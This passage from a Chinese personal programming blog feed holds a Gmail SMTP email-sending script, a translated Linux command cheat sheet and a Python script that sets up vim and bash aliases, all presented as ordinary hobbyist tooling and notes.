<span class="k">if</span> <span class="n">storage</span><span class="p">[</span><span class="n">k</span><span class="p">]</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">:</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">storage</span><span class="p">[</span><span class="n">k</span><span class="p">]):</span>
<span class="n">res</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">k</span><span class="p">)</span>
<span class="k">return</span> <span class="n">res</span>
<span class="c1">#print heapSort(MakeMiniHeap(l, length))
#print binaryTreeSort(l)
#print countSort(l)</span></code></pre></figure>
<p>#END</p>
Python 邮件发送脚本
2014-04-21T00:00:00+00:00
http://fish267.github.io/2014/04/21/python-send-email
<p>今天补充完测试用例, 正好有一大把空闲的时间, 可以用来个Python发送邮件的脚本, 最烦的就是登陆卡卡的Gmail, 发送邮件了。 登陆网页查询单词, 发送飞信等常用操作行为, 我尽量用Python搞定, 所以说, <strong>世界是靠懒人推动的!</strong></p>
<!--more-->
<p>比较闹心的是, 使用<code>smtplib</code>模块登陆Gmail, 只能用<code>python x.py </code> 执行, 不可以修改权限后 <code>./x.py</code> 执行, 否则会爆出如下错误:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">smtplib</span><span class="p">.</span><span class="n">SMTPException</span><span class="p">:</span> <span class="n">SMTP</span> <span class="n">AUTH</span> <span class="n">extension</span> <span class="ow">not</span> <span class="n">supported</span> <span class="n">by</span> <span class="n">server</span><span class="p">.</span></code></pre></figure>
<p>就这个东西,卡了我好几个小时!!</p>
<p>代码如下:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="c1">#!/usr/bin/python
#coding : utf-8
</span><span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">smtplib</span>
<span class="c1">#init server
</span><span class="n">USAGE</span> <span class="o">=</span> <span class="s">''</span>
<span class="n">The</span> <span class="n">usages</span> <span class="n">are</span> <span class="n">blow</span><span class="p">:</span>
<span class="n">python</span> <span class="n">mailto</span> <span class="o">*@</span><span class="n">xx</span><span class="p">.</span><span class="n">com</span> <span class="o">-</span><span class="n">t</span> <span class="s">'this is title'</span> <span class="o">-</span><span class="n">c</span> <span class="s">'this is content'</span>
<span class="ow">or</span>
<span class="n">python</span> <span class="n">mailto</span> <span class="o">*@</span><span class="n">xx</span><span class="p">.</span><span class="n">com</span> <span class="o">-</span><span class="n">c</span> <span class="s">'this is content'</span>
<span class="s">''</span>
<span class="n">SERVER</span> <span class="o">=</span> <span class="s">'smtp.gmail.com'</span>
<span class="n">PORT</span> <span class="o">=</span> <span class="mi">587</span>
<span class="n">USER</span> <span class="o">=</span> <span class="s">'f7@gmail.com'</span>
<span class="n">GF</span> <span class="o">=</span> <span class="s">'4@qq.com'</span>
<span class="n">PASSWD</span> <span class="o">=</span> <span class="s">'03'</span>
<span class="k">def</span> <span class="nf">send_email</span><span class="p">(</span><span class="n">receiver</span><span class="p">,</span> <span class="n">msg</span><span class="p">):</span>
<span class="c1"># print PASSWD, USER
</span> <span class="k">try</span><span class="p">:</span>
<span class="n">smtp</span> <span class="o">=</span> <span class="n">smtplib</span><span class="p">.</span><span class="n">SMTP</span><span class="p">(</span><span class="n">SERVER</span><span class="p">,</span> <span class="n">PORT</span><span class="p">)</span>
<span class="n">smtp</span><span class="p">.</span><span class="n">ehlo</span><span class="p">()</span>
<span class="n">smtp</span><span class="p">.</span><span class="n">starttls</span><span class="p">()</span>
<span class="n">smtp</span><span class="p">.</span><span class="n">login</span><span class="p">(</span><span class="n">USER</span><span class="p">,</span> <span class="n">PASSWD</span><span class="p">)</span>
<span class="n">smtp</span><span class="p">.</span><span class="n">sendmail</span><span class="p">(</span><span class="n">USER</span><span class="p">,</span> <span class="n">receiver</span><span class="p">,</span> <span class="n">msg</span><span class="p">)</span>
<span class="k">print</span> <span class="s">'Success!'</span>
<span class="k">except</span><span class="p">:</span>
<span class="k">print</span> <span class="s">'failed to send'</span>
<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
<span class="n">length</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">)</span>
<span class="c1"># print length
</span> <span class="k">if</span> <span class="ow">not</span> <span class="p">(</span><span class="n">length</span> <span class="o">==</span> <span class="mi">6</span> <span class="ow">or</span> <span class="n">length</span> <span class="o">==</span> <span class="mi">4</span><span class="p">):</span>
<span class="k">print</span> <span class="n">USAGE</span>
<span class="k">return</span>
<span class="k">if</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="s">'me'</span><span class="p">:</span>
<span class="n">receiver</span> <span class="o">=</span> <span class="n">USER</span>
<span class="k">elif</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="s">'love'</span><span class="p">:</span>
<span class="n">receiver</span> <span class="o">=</span> <span class="n">GF</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">receiver</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="c1"># print receiver
</span> <span class="k">if</span> <span class="n">length</span> <span class="o">==</span> <span class="mi">4</span> <span class="ow">and</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">==</span> <span class="s">'-c'</span><span class="p">:</span>
<span class="n">headers</span> <span class="o">=</span> <span class="s">'</span><span class="se">\r\n</span><span class="s">'</span><span class="p">.</span><span class="n">join</span><span class="p">([</span>
<span class="s">'from: '</span> <span class="o">+</span> <span class="n">USER</span><span class="p">,</span>
<span class="s">'subject: '</span> <span class="o">+</span> <span class="s">'An email from '</span> <span class="o">+</span> <span class="n">USER</span><span class="p">,</span>
<span class="s">'to: '</span> <span class="o">+</span> <span class="n">receiver</span><span class="p">,</span>
<span class="s">'mime-version: 1.0'</span><span class="p">,</span>
<span class="s">'content-type: text/html'</span>
<span class="p">])</span>
<span class="n">content</span> <span class="o">=</span> <span class="n">headers</span> <span class="o">+</span> <span class="s">'</span><span class="se">\r\n\r\n</span><span class="s">'</span> <span class="o">+</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span>
<span class="k">if</span> <span class="n">length</span> <span class="o">==</span> <span class="mi">6</span> <span class="ow">and</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">==</span> <span class="s">'-t'</span><span class="p">:</span>
<span class="n">headers</span> <span class="o">=</span> <span class="s">'</span><span class="se">\r\n</span><span class="s">'</span><span class="p">.</span><span class="n">join</span><span class="p">([</span>
<span class="s">'from: '</span> <span class="o">+</span> <span class="n">USER</span><span class="p">,</span>
<span class="s">'subject: '</span> <span class="o">+</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">3</span><span class="p">],</span>
<span class="s">'to: '</span> <span class="o">+</span> <span class="n">receiver</span><span class="p">,</span>
<span class="s">'mime-version: 1.0'</span><span class="p">,</span>
<span class="s">'content-type: text/html'</span>
<span class="p">])</span>
<span class="n">content</span> <span class="o">=</span> <span class="n">headers</span> <span class="o">+</span> <span class="s">'</span><span class="se">\r\n\r\n</span><span class="s">'</span> <span class="o">+</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">5</span><span class="p">]</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">send_email</span><span class="p">(</span><span class="n">receiver</span><span class="p">,</span> <span class="n">content</span><span class="p">)</span>
<span class="k">except</span><span class="p">:</span>
<span class="k">print</span> <span class="s">'failed to send email'</span>
<span class="k">print</span> <span class="n">USAGE</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
<span class="n">main</span><span class="p">()</span> </code></pre></figure>
<p>#END</p>
系统化详解Linux命令(译)
2014-03-31T00:00:00+00:00
http://fish267.github.io/2014/03/31/linux-commands
<p>Linux命令本身就是linux使用者学习linux命令的一个快速参考, 命令可以分为15个种类, 这样按需所求, 更加助于理解. PDF版本的 linux 命令也可以搞到. 你如果对本教程有任何评价或者指正, 可以联系作者 <a href="https://plus.google.com/115113980420145314347/posts">Bobbin Zachariah</a></p>
<p>你可以点击<a href="http://www.linoxide.com/doc/linux_command_shelf_pdf_ver1_1.pdf">下载</a>最新的PDF版linux命令. 目前最新版是1.1, 本教程适用于linux新手和老鸟, 尽最大努力详解常用的linux命令.</p>
<p>你可以跳过某章节, 直接根据导航去查询. 如果你对某些命令感到困惑, 请去我的简历页面告知.
<!--more--></p>
<hr />
<ol>
<li><a href="#t1">系统</a></li>
<li><a href="#t2">硬件</a></li>
<li><a href="#t3">数据</a></li>
<li><a href="#t4">用户</a></li>
<li><a href="#t5">文件命令</a></li>
<li><a href="#t6">进程相关</a></li>
<li><a href="#t7">文件权限操作</a></li>
<li><a href="#t8">网络</a></li>
<li><a href="#t9">压缩/解压</a></li>
<li><a href="#t10">安装包</a></li>
<li><a href="#t11">查询</a></li>
<li><a href="#t12">登陆</a></li>
<li><a href="#t13">文件传输</a></li>
<li><a href="#t14">硬盘使用</a></li>
<li><a href="#t15">文件夹跳转</a></li>
</ol>
<hr />
<p>#1. 系统</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ uname -a =>系统信息
$ uname -r =>显示内核信息
$ cat /etc/redhat_release =>安装的是哪个版本
$ uptime =>显示系统运行了多久
$ hostname =>系统host名称
$ hostname -i =>host IP
$ last reboot =>系统重启历史
$ date =>时间信息
$ cal =>显示月份信息
$ w =>在线用户
$ whoami =>你以什么身份登陆
$ finger user =>显示用户信息
</code></pre></div></div>
<hr />
<p>#2. 硬件</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ dmesg =>检测硬件和启动信息
$ cat /proc/cpuinfo =>CPU 模块
$ cat /proc/meminfo =>内存信息
$ cat /proc/interrupts =>每个I/O设备CPU的中断数量
$ lshw =>硬件配置信息
$ lsblk =>linux 设备块信息
$ free -m =>内存使用量(-m 以MB为单位)
$ lspci -tv =>PCI 设备信息
$ lsusb -tv =>USB 设备
$ lshal =>显示设备和他们的熟悉
$ dmidecode =>从BIOS显示硬件信息
$ hdparm -i /dev/sda =>显示硬盘 sda 的信息
$ hdparm -tT /dev/sda =>对硬盘 sda 做读取测试
$ badblocks -s /dev/sda =>测试硬盘 sda 的坏道
</code></pre></div></div>
<hr />
<p>#3. 统计信息</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ top =>动态显示 cpu 进程
$ mpstat 1 =>显示进程相关数据
$ vmstat 2 =>显示虚拟内存使用数据
$ iostat 2 =>I/O 数据
$ tail -n 500 .vimrc =>最后500行信息
$ tcpdump -i eth0 =>抓eth0所有的数据流
$ tcpdump -i eth0 'port 80' =>监听80口的流量
$ lsof =>列出所有活动进程文件
$ lsof -u testuer =>列出被用户 testuser 打开的文件
$ watch df -h =>实时监控变化的数据
</code></pre></div></div>
<hr />
<p>#4. 用户
$ id =>显示当前用户的登陆信息
$ last =>最近的系统登陆
$ who =>登陆用户名
$ groupadd admin =>添加用户组 admin
$ useradd -c ‘fish’ -g admin -m sam =>创建用户’sam’并添加到amdin用户组
$ userdel sam =>删除用户sam
$ adduser sam =>添加用户sam
$ usermood =>修改用户信息</p>
<hr />
<p>#5. 文件命令</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ls -al =>显示目录下所有文件的信息
$ pwd =>当前所在路径
$ mkdir directory-name =>创建文件夹
$ rm file-name =>删除文件
$ rm -r directory-name =>递归删除文件夹
$ rm -f file-name =>强行删除文件
$ rm -rf directory-name =>强行递归删除文件夹
$ cp file1 file2 =>复制文件file1到file2
$ cp -r dir1 dir2 =>复制dir1到dir2, 如果不存在就创建dir2
$ mv file1 file2 =>移动
$ ln -s /path/to/file-name link-name =>创建软连接
$ touch file =>创建文件
$ cat > file =>标准输出流到file
$ more file =>显示文件内容
$ head file =>默认打印前十行信息
$ tail file =>显示最后10行信息
$ tail -f file =>动态显示最后10行
$ gpg -c file =>授权file
$ gpg file.gpg =>取消授权
</code></pre></div></div>
<hr />
<p>#6. 进程相关</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ps =>显示活动进程
ps aux | grep 'telnet' =>显示所有与'telnet'有关的进程
pmap id =>进程内存信息
top =>实时显示进程
kill pid =>杀死进程
killall proc =>杀死所有名为 proc 的进程
pkill processname =>根据进程名杀死进程
bg =>将程序放到后台
fg =>将最近的一个后台程序提到前台
fg n =>n个任务提到前台
</code></pre></div></div>
<hr />
<p>#7. 文件权限操作</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>chmod octal file-name =>设置文件权限为otcal
chmod 777 /data/test.c =>文件权限rwxrwxrwx
chmod 755 /data/test.c =>文件权限rwxr-xr-x
chown owener-user file =>改变拥有者
chown owener-user:owner-group file-name =>设置文件用户组和用户名
chown owener-user:owener-group dir =>设置文件夹的用户组和用户名
</code></pre></div></div>
<hr />
<p>#8. 网络</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ifconfig -a =>显示网络接口和ip信息
ifconfig eth0 =>显示网卡eth0的信息
ip addr show =>显示所有网络接口和ip地址
ip address add 192.168.0.1 dev eth0 =>设置ip
ethtool eth0 =>linux自带工具显示网卡信息
mii-tool eth0 =>同上
ping host =>向host发送测试包
whois domain =>得到域名信息
dig domain =>获得DNS信息
dig -x host =>反向查询host
host google.com =>查询DNS, ip
hostname -i =>查询本地Ip
wget file =>下载文件
netstat -tup1 =>监听活动端口(tcp, upd, pid)
</code></pre></div></div>
<hr />
<p>#9. 解压/压缩</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>tar cf home.tar home =>压缩 home 文件夹为 home.tar
tar xf file.tar =>解压文件file.tar
tar czf file.tar.gz files =>压缩成 gz 版
gzip file =>将文件压缩成file.gz
</code></pre></div></div>
<hr />
<p>#10. 安装包</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rpm -i pkgname.rpm =>安装命令
rpm -e pkgname =>移除程序
源码安装
./configure
make
make install
</code></pre></div></div>
<hr />
<p>#11. 查询</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>grep pattern files =>在文件中查询 pattern
grep -r pattern dir =>递归在文件夹中查找 pattern
locate file =>查找所有文件
find /home/tom -name 'index*' =>在指定文件夹下查找 index 开头的文件
find /home -size +10000k =>查找指定文件夹下大于10000k的文件
</code></pre></div></div>
<hr />
<p>#12. 登陆</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh user@host =>ssh 登陆命令
ssh -p port user@host =>ssh登陆指定端口的
telnet host =>使用telnet 端口登陆
</code></pre></div></div>
<hr />
<p>#13. 文件传输</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>scp file.txt server2:/tmp =>向server传送file.txt
scp nixsavy@serveer2:/www/*.html ./ =>重server下载文件
scp -r nixsavy@server2:/www/* ./ =>递归下载
rsync -a /home/apps /backup/ =>同步两个文件夹内容
rsync -avz /home/apps user@server:/dir =>同步服务器上的文件夹
</code></pre></div></div>
<hr />
<p>#14. 硬盘使用</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>df -h =>挂载硬盘的使用信息
df -i =>挂载硬盘的inode
fdisk -l =>硬盘分区和类型
du -ah =>所有文件大小信息
du -sh =>当前目录总大小
findmnt =>显示文件系统
mount device mount-point =>挂载设备
</code></pre></div></div>
<hr />
<p>#15. 文件夹跳转</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cd .. =>跳转到上一目录
cd =>去 $home 目录
cd /test =>跳转到 /test
</code></pre></div></div>
<p><a href="http://linoxide.com/guide/linux-command-shelf.html">原文地址</a>, 试着翻译着玩, 如果你不小心看到了, 又发现了错误, 谢谢留言指正!</p>
<p>#END</p>
Linux下vim bash初始化脚本
2014-03-18T00:00:00+00:00
http://fish267.github.io/2014/03/18/get-linux-ready
<p>每次换个操作环境, 都得按自己的习惯重新搭配搭配, 尤其是公司里, 这么多虚拟机, 我使用 vim 有点强迫症.</p>
<p>写了个 Python 小脚本, 针对 ubuntu 系统写的, 可以一次搞定 vim 配置和 bash 下 alias 的设定! 给自己赞一个~</p>
<p>主要是 vim 的括号匹配, tab 键设置, 自动对其, 还有 bash 下省事的操作等功能, 所以说, <strong>世界是靠懒人推动的!</strong></p>
<p>root 用户的配置在 <code>/etc/...</code>, 普通用户的配置文件在 <code>/home/...</code>, 对应的修改<code>locate_file</code>函数即可
<!--more--></p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="c1">#!/usr/bin/python
#coding: utf-8
#get_ready for my linux env
</span><span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">subprocess</span>
<span class="kn">import</span> <span class="nn">re</span>
<span class="c1">#get vim ready
#suggest you have already installed vim
</span><span class="k">global</span> <span class="n">vim_backup</span>
<span class="k">global</span> <span class="n">bash_backup</span>
<span class="c1"># config .vimrc to suit needs
</span><span class="k">def</span> <span class="nf">config_vim</span><span class="p">(</span><span class="n">vim_file</span><span class="p">):</span>
<span class="c1">#make a copy of that
</span> <span class="k">global</span> <span class="n">vim_backup</span>
<span class="n">vim_backup</span> <span class="o">=</span> <span class="n">vim_file</span> <span class="o">+</span> <span class="s">'.backup'</span>
<span class="n">os</span><span class="p">.</span><span class="n">system</span><span class="p">(</span><span class="s">'cp %s %s'</span> <span class="o">%</span><span class="p">(</span><span class="n">vim_file</span><span class="p">,</span> <span class="n">vim_backup</span><span class="p">))</span>
<span class="c1">#if these are not in .vimrc, add it!
</span> <span class="n">add_commands</span> <span class="o">=</span> <span class="p">[</span><span class="s">'set smartcase'</span><span class="p">,</span> <span class="s">'set mouse=a'</span><span class="p">,</span> <span class="s">'set autoindent'</span><span class="p">,</span> <span class="s">'set smartindent'</span><span class="p">,</span> \
<span class="s">'set nu'</span><span class="p">,</span> <span class="s">'set ts=4'</span><span class="p">,</span> <span class="s">'colorscheme elflord'</span><span class="p">,</span> <span class="s">'set shiftwidth=4'</span><span class="p">,</span> <span class="s">'set softtabstop=4'</span><span class="p">,</span>\
<span class="s">'set expandtab'</span><span class="p">,</span> <span class="s">'set smarttab'</span><span class="p">]</span>
<span class="n">vim_content</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">vim_file</span><span class="p">).</span><span class="n">read</span><span class="p">()</span>
<span class="k">for</span> <span class="n">command</span> <span class="ow">in</span> <span class="n">add_commands</span><span class="p">:</span>
<span class="k">if</span> <span class="n">command</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">vim_content</span><span class="p">:</span>
<span class="n">os</span><span class="p">.</span><span class="n">system</span><span class="p">(</span><span class="s">'echo >> %s "%s"'</span> <span class="o">%</span><span class="p">(</span><span class="n">vim_file</span><span class="p">,</span> <span class="n">command</span><span class="p">))</span>
<span class="c1">#sure these blow are not in .vimrc, just add that
</span> <span class="n">map_brackets</span> <span class="o">=</span> <span class="s">'''
inoremap jk <ESC>:w
inoremap ( ()<ESC>i
inoremap ) <c-r>=ClosePair(')')<CR>
"inoremap { {<CR>}<ESC>kA<CR>
inoremap } <c-r>=ClosePair('}')<CR>
inoremap [ []<ESC>i
inoremap ] <c-r>=ClosePair(']')<CR>
function ClosePair(char)
if getline('.')[col('.')-1 ]== a:char
return "\<Right>"
else
return a:char
endif
endf
vmap <C-X> :s/^/#/<CR>
vmap XX :s/^##*//<CR>
'''</span>
<span class="c1"># print map_brackets
</span> <span class="k">if</span> <span class="s">'inoremap'</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">vim_content</span><span class="p">:</span>
<span class="n">os</span><span class="p">.</span><span class="n">system</span><span class="p">(</span><span class="s">'echo >> %s "%s"'</span> <span class="o">%</span><span class="p">(</span><span class="n">vim_file</span><span class="p">,</span> <span class="n">map_brackets</span><span class="p">))</span>
<span class="n">config_vim</span><span class="p">(</span><span class="s">'/home/fish/tmp'</span><span class="p">)</span>
<span class="c1"># config .bashrc to suit needs
</span><span class="k">def</span> <span class="nf">config_bash</span><span class="p">(</span><span class="n">bash_file</span><span class="p">):</span>
<span class="k">global</span> <span class="n">bash_backup</span>
<span class="c1">#make a copy
</span> <span class="n">bash_backup</span> <span class="o">=</span> <span class="n">bash_file</span> <span class="o">+</span> <span class="s">'.backup'</span>
<span class="n">os</span><span class="p">.</span><span class="n">system</span><span class="p">(</span><span class="s">'cp %s %s'</span> <span class="o">%</span><span class="p">(</span><span class="n">bash_file</span><span class="p">,</span> <span class="n">bash_backup</span><span class="p">))</span>
<span class="n">bash_commands</span> <span class="o">=</span> <span class="p">[</span><span class="s">'alias ll="ls -alF"'</span><span class="p">,</span> <span class="s">'alias la="ls -A"'</span><span class="p">,</span> \
<span class="s">'alias l="ls -CF"'</span><span class="p">,</span> <span class="s">'alias ..="cd .."'</span><span class="p">,</span> <span class="s">'alias cp="cp -v"'</span><span class="p">,</span> \
<span class="s">'alias mv="mv -v"'</span><span class="p">,</span> <span class="s">'alias py="python"'</span><span class="p">,</span> <span class="s">'alias df="df -h"'</span><span class="p">,</span> \
<span class="s">'alias gmt="git commit -m"'</span><span class="p">,</span> <span class="s">'alias ga="git add ."'</span><span class="p">,</span> \
<span class="s">'alias gp="git push"'</span><span class="p">]</span>
<span class="c1">#add these alias if not in bashrc
</span> <span class="n">bash_content</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">bash_file</span><span class="p">).</span><span class="n">read</span><span class="p">()</span>
<span class="k">for</span> <span class="n">command</span> <span class="ow">in</span> <span class="n">bash_commands</span><span class="p">:</span>
<span class="k">if</span> <span class="n">command</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">bash_content</span><span class="p">:</span>
<span class="n">os</span><span class="p">.</span><span class="n">system</span><span class="p">(</span><span class="s">"echo >> %s '%s'"</span> <span class="o">%</span><span class="p">(</span><span class="n">bash_file</span><span class="p">,</span> <span class="n">command</span><span class="p">))</span>
<span class="c1">#config_bash('/home/fish/tmp')
</span><span class="k">def</span> <span class="nf">locate_file</span><span class="p">(</span><span class="n">filename</span><span class="p">):</span>
<span class="c1">#this function is used to locate file
</span>
<span class="c1">#下面这句代码信息量很高, 使用重定向输出到stdout, 然后*.stdout.read() 获取
</span> <span class="n">all_file_location</span> <span class="o">=</span> <span class="n">subprocess</span><span class="p">.</span><span class="n">Popen</span><span class="p">(</span><span class="s">'locate %s'</span> <span class="o">%</span><span class="n">filename</span><span class="p">,</span> <span class="n">stdout</span> <span class="o">=</span> <span class="n">subprocess</span><span class="p">.</span><span class="n">PIPE</span><span class="p">,</span> \
<span class="n">shell</span> <span class="o">=</span> <span class="bp">True</span><span class="p">).</span><span class="n">stdout</span><span class="p">.</span><span class="n">read</span><span class="p">().</span><span class="n">split</span><span class="p">(</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="c1">#print all_file_location
</span> <span class="k">for</span> <span class="n">location</span> <span class="ow">in</span> <span class="n">all_file_location</span><span class="p">:</span>
<span class="n">exact_location</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="s">'^\/home.*%s$'</span> <span class="o">%</span><span class="n">filename</span><span class="p">,</span> <span class="n">location</span><span class="p">)</span>
<span class="k">if</span> <span class="n">exact_location</span> <span class="o">!=</span> <span class="bp">None</span> <span class="ow">and</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">isfile</span><span class="p">(</span><span class="n">exact_location</span><span class="p">.</span><span class="n">group</span><span class="p">(</span><span class="mi">0</span><span class="p">)):</span>
<span class="k">return</span> <span class="n">exact_location</span><span class="p">.</span><span class="n">group</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="k">break</span>
<span class="k">print</span> <span class="s">'can not locate the file %s'</span> <span class="o">%</span><span class="n">filename</span>
<span class="c1">#main
</span><span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
<span class="k">global</span> <span class="n">vim_backup</span>
<span class="k">global</span> <span class="n">bash_backup</span>
<span class="n">vim_location</span> <span class="o">=</span> <span class="n">locate_file</span><span class="p">(</span><span class="s">'.vimrc'</span><span class="p">)</span>
<span class="n">bash_location</span> <span class="o">=</span> <span class="n">locate_file</span><span class="p">(</span><span class="s">'.bashrc'</span><span class="p">)</span>
<span class="k">print</span> <span class="s">'*'</span> <span class="o">*</span> <span class="mi">22</span>
<span class="k">print</span> <span class="s">'you are going to change these files:'</span>
<span class="k">print</span> <span class="n">vim_location</span>
<span class="k">print</span> <span class="n">bash_location</span>
<span class="k">print</span> <span class="s">'*'</span> <span class="o">*</span> <span class="mi">22</span>
<span class="n">check</span> <span class="o">=</span> <span class="nb">raw_input</span><span class="p">(</span><span class="s">'Type yes to modify:'</span><span class="p">)</span>
<span class="k">if</span> <span class="n">check</span><span class="p">.</span><span class="n">upper</span><span class="p">()</span> <span class="o">==</span> <span class="s">'YES'</span> <span class="ow">or</span> <span class="n">check</span><span class="p">.</span><span class="n">upper</span><span class="p">()</span> <span class="o">==</span> <span class="s">'Y'</span><span class="p">:</span>
<span class="n">config_vim</span><span class="p">(</span><span class="n">vim_location</span><span class="p">)</span>
<span class="n">config_bash</span><span class="p">(</span><span class="n">bash_location</span><span class="p">)</span>
<span class="k">print</span> <span class="s">'The files have been modified, and their backup are: </span><span class="se">\n</span><span class="s">'</span>
<span class="k">print</span> <span class="n">vim_backup</span>
<span class="k">print</span> <span class="n">bash_backup</span>
<span class="k">print</span> <span class="s">'The difference before and after modified are blow:</span><span class="se">\n</span><span class="s">'</span>
<span class="k">print</span> <span class="n">subprocess</span><span class="p">.</span><span class="n">Popen</span><span class="p">(</span><span class="s">'diff %s %s'</span> <span class="o">%</span><span class="p">(</span><span class="n">vim_location</span><span class="p">,</span> <span class="n">vim_backup</span><span class="p">),</span> \
<span class="n">stdout</span> <span class="o">=</span> <span class="n">subprocess</span><span class="p">.</span><span class="n">PIPE</span><span class="p">,</span> <span class="n">shell</span> <span class="o">=</span> <span class="bp">True</span><span class="p">).</span><span class="n">stdout</span><span class="p">.</span><span class="n">read</span><span class="p">()</span>
<span class="k">print</span> <span class="n">subprocess</span><span class="p">.</span><span class="n">Popen</span><span class="p">(</span><span class="s">'diff %s %s'</span> <span class="o">%</span><span class="p">(</span><span class="n">bash_location</span><span class="p">,</span> <span class="n">bash_backup</span><span class="p">),</span> \
<span class="n">stdout</span> <span class="o">=</span> <span class="n">subprocess</span><span class="p">.</span><span class="n">PIPE</span><span class="p">,</span> <span class="n">shell</span> <span class="o">=</span> <span class="bp">True</span><span class="p">).</span><span class="n">stdout</span><span class="p">.</span><span class="n">read</span><span class="p">()</span></code></pre></figure>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="nb">set</span> <span class="n">smartcase</span>
<span class="nb">set</span> <span class="n">mouse</span><span class="o">=</span><span class="n">a</span>
<span class="nb">set</span> <span class="n">autoindent</span>
<span class="nb">set</span> <span class="n">smartindent</span>
<span class="nb">set</span> <span class="n">nu</span>
<span class="nb">set</span> <span class="n">ts</span><span class="o">=</span><span class="mi">4</span>
<span class="n">colorscheme</span> <span class="n">elflord</span>
<span class="nb">set</span> <span class="n">shiftwidth</span><span class="o">=</span><span class="mi">4</span>
<span class="nb">set</span> <span class="n">softtabstop</span><span class="o">=</span><span class="mi">4</span>
<span class="nb">set</span> <span class="n">expandtab</span>
<span class="nb">set</span> <span class="n">smarttab</span>
<span class="n">inoremap</span> <span class="n">jk</span> <span class="o"><</span><span class="n">ESC</span><span class="o">></span><span class="p">:</span><span class="n">w</span>
<span class="n">inoremap</span> <span class="p">(</span> <span class="p">()</span><span class="o"><</span><span class="n">ESC</span><span class="o">></span><span class="n">i</span>
<span class="n">inoremap</span> <span class="p">)</span> <span class="o"><</span><span class="n">c</span><span class="o">-</span><span class="n">r</span><span class="o">>=</span><span class="n">ClosePair</span><span class="p">(</span><span class="s">')'</span><span class="p">)</span><span class="o"><</span><span class="n">CR</span><span class="o">></span>
<span class="s">"inoremap { {<CR>}<ESC>kA<CR>
inoremap } <c-r>=ClosePair('}')<CR>
inoremap [ []<ESC>i
inoremap ] <c-r>=ClosePair(']')<CR>
function ClosePair(char)
if getline('.')[col('.')-1 ]== a:char
return "</span>\<span class="o"><</span><span class="n">Right</span><span class="o">></span><span class="s">"
else
return a:char
endif
endf
vmap <C-X> :s/^/#/<CR>
vmap XX :s/^##*//<CR>
<hr>
alias ll="</span><span class="n">ls</span> <span class="o">-</span><span class="n">alF</span><span class="s">"
alias la="</span><span class="n">ls</span> <span class="o">-</span><span class="n">A</span><span class="s">"
alias l="</span><span class="n">ls</span> <span class="o">-</span><span class="n">CF</span><span class="s">"
alias ..="</span><span class="n">cd</span> <span class="p">..</span><span class="s">"
alias cp="</span><span class="n">cp</span> <span class="o">-</span><span class="n">v</span><span class="s">"
alias mv="</span><span class="n">mv</span> <span class="o">-</span><span class="n">v</span><span class="s">"
alias df="</span><span class="n">df</span> <span class="o">-</span><span class="n">h</span><span class="s">"
